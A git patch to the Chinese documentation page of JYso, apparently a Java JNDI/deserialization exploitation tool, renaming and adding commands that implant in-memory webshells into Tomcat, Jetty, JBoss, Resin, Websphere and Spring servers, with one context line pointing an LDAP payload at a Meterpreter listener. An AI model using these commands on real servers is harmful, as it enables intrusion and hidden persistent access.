From e8f215a33ff300c2927ce832422b48612b667f55 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E7=82=81?= <75202638+qi4L@users.noreply.github.com> Date: Wed, 29 May 2024 23:28:23 +0800 Subject: [PATCH] =?UTF-8?q?Updated=20JYso=E2=80=90CN=20(markdown)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- JYso‐CN.md | 28 ++++++++++++++-------------- 1 file changed, 14 insertions(+), 14 deletions(-) diff --git a/JYso‐CN.md b/JYso‐CN.md index c225657..ceeff10 100644 --- a/JYso‐CN.md +++ b/JYso‐CN.md @@ -223,21 +223,21 @@ ldap://127.0.0.1:1389/TomcatBypass/E-Meterpreter/msf/[msf_ip]/[msf_port] - 命令 `EX-MS-SpringInterceptorMS-...`:向系统内植入 Spring 拦截器类型的内存马 - 命令 `EX-MS-SpringControllerMS-...`:向系统内植入 Spring Controller 类型的内存马 - 命令 `EX-MS-SpringWebfluxMS-...`:向系统内植入 Spring WebFilter 类型的内存马(仅支持 gz 及 cmd) -- 命令 `EX-MS-TSMSFromJMXF`:利用 JMX MBeans 向系统内植入 Tomcat Filter 型内存马 -- 命令 `EX-MS-TSMSFromJMXS-...`:利用 JMX MBeans 向系统内植入 Tomcat Servlet 型内存马 -- 命令 `EX-MS-TLMSFromJMXLi-...`:利用 JMX MBeans 向系统内植入 Tomcat Listener 型内存马 -- 命令 `EX-MS-JFMSFromJMXF-...`:利用 JMX MBeans 向系统内植入 Jetty Filter 型内存马 -- 命令 `EX-MS-JFMSFromJMXS-...`:利用 JMX MBeans 向系统内植入 Jetty Servlet 型内存马 -- 命令 `EX-MS-TFMSFromRequestF-...`:通过在线程组中找 Request 向系统内植入 Tomcat Filter 型内存马 -- 命令 `EX-MS-TFMSFromRequestS-...`:通过在线程组中找 Request 向系统内植入 Tomcat Servlet 型内存马 -- 命令 `EX-MS-TFMSFromThreadF-...`:通过线程类加载器获取指定上下文向系统内植入 Tomcat Filter 型内存马 -- 命令 `EX-MS-TFMSFromThreadLi-...`:通过线程类加载器获取指定上下文向系统内植入 Tomcat Listener 型内存马 -- 命令 `EX-MS-TFMSFromThreadS-...`:通过线程类加载器获取指定上下文向系统内植入 Tomcat Servlet 型内存马 -- 命令 `EX-MS-JBFMSFromContextF-...`:通过全局上下文向系统内植入 JBoss/Wildfly Filter 型内存马 -- 命令 `EX-MS-JBFMSFromContextS-...`:通过全局上下文向系统内植入 JBoss/Wildfly Servlet 型内存马 -- 命令 `EX-MS-RFMSFromThreadF-...`:通过线程类加载器获取指定上下文系统内植入 Resin Filter 型内存马 -- 命令 `EX-MS-RFMSFromThreadS-...`:通过线程类加载器获取指定上下文系统内植入 Resin Servlet 型内存马 +- 命令 `EX-MS-TFMSFromJMX-...`:利用 JMX MBeans 向系统内植入 Tomcat Filter 型内存马 +- 命令 `EX-MS-TFMSFromRequest-...`:通过在线程组中找 Request 向系统内植入 Tomcat Filter 型内存马 +- 命令 `EX-MS-TFMSFromThread-...`:通过线程类加载器获取指定上下文向系统内植入 Tomcat Filter 型内存马 +- 命令 `EX-MS-TLMSFromThread-...`:通过线程类加载器获取指定上下文向系统内植入 Tomcat Listener 型内存马 +- 命令 `EX-MS-TSMSFromJMX-...`:利用 JMX MBeans 向系统内植入 Tomcat Servlet 型内存马 +- 命令 `EX-MS-TSMSFromRequest-...`:通过在线程组中找 Request 向系统内植入 Tomcat Servlet 型内存马 +- 命令 `EX-MS-TSMSFromThread-...`:通过线程类加载器获取指定上下文向系统内植入 Tomcat Servlet 型内存马 +- 命令 `EX-MS-JBFMSFromContext-...`:通过全局上下文向系统内植入 JBoss/Wildfly Filter 型内存马 +- 命令 `EX-MS-JBSMSFromContext-...`:通过全局上下文向系统内植入 JBoss/Wildfly Servlet 型内存马 +- 命令 `EX-MS-JFMSFromJMX-...`:利用 JMX MBeans 向系统内植入 Jetty Filter 型内存马 +- 命令 `EX-MS-JSMSFromJMX-...`:利用 JMX MBeans 向系统内植入 Jetty Servlet 型内存马 +- 命令 `EX-MS-RFMSFromThread-...`:通过线程类加载器获取指定上下文系统内植入 Resin Filter 型内存马 +- 命令 `EX-MS-RSMSFromThread-...`:通过线程类加载器获取指定上下文系统内植入 Resin Servlet 型内存马 - 命令 `EX-MS-WSFMSFromThread-...`:通过线程类加载器获取指定上下文系统内植入 Websphere Filter 型内存马 +- 命令 `EX-MS-RMIBindTemplate-...`:RMI 型内存马 + JNDI-Injection-Exploit 用法: + shell后可以加额外参数,需要base64编码,参数具体看1.5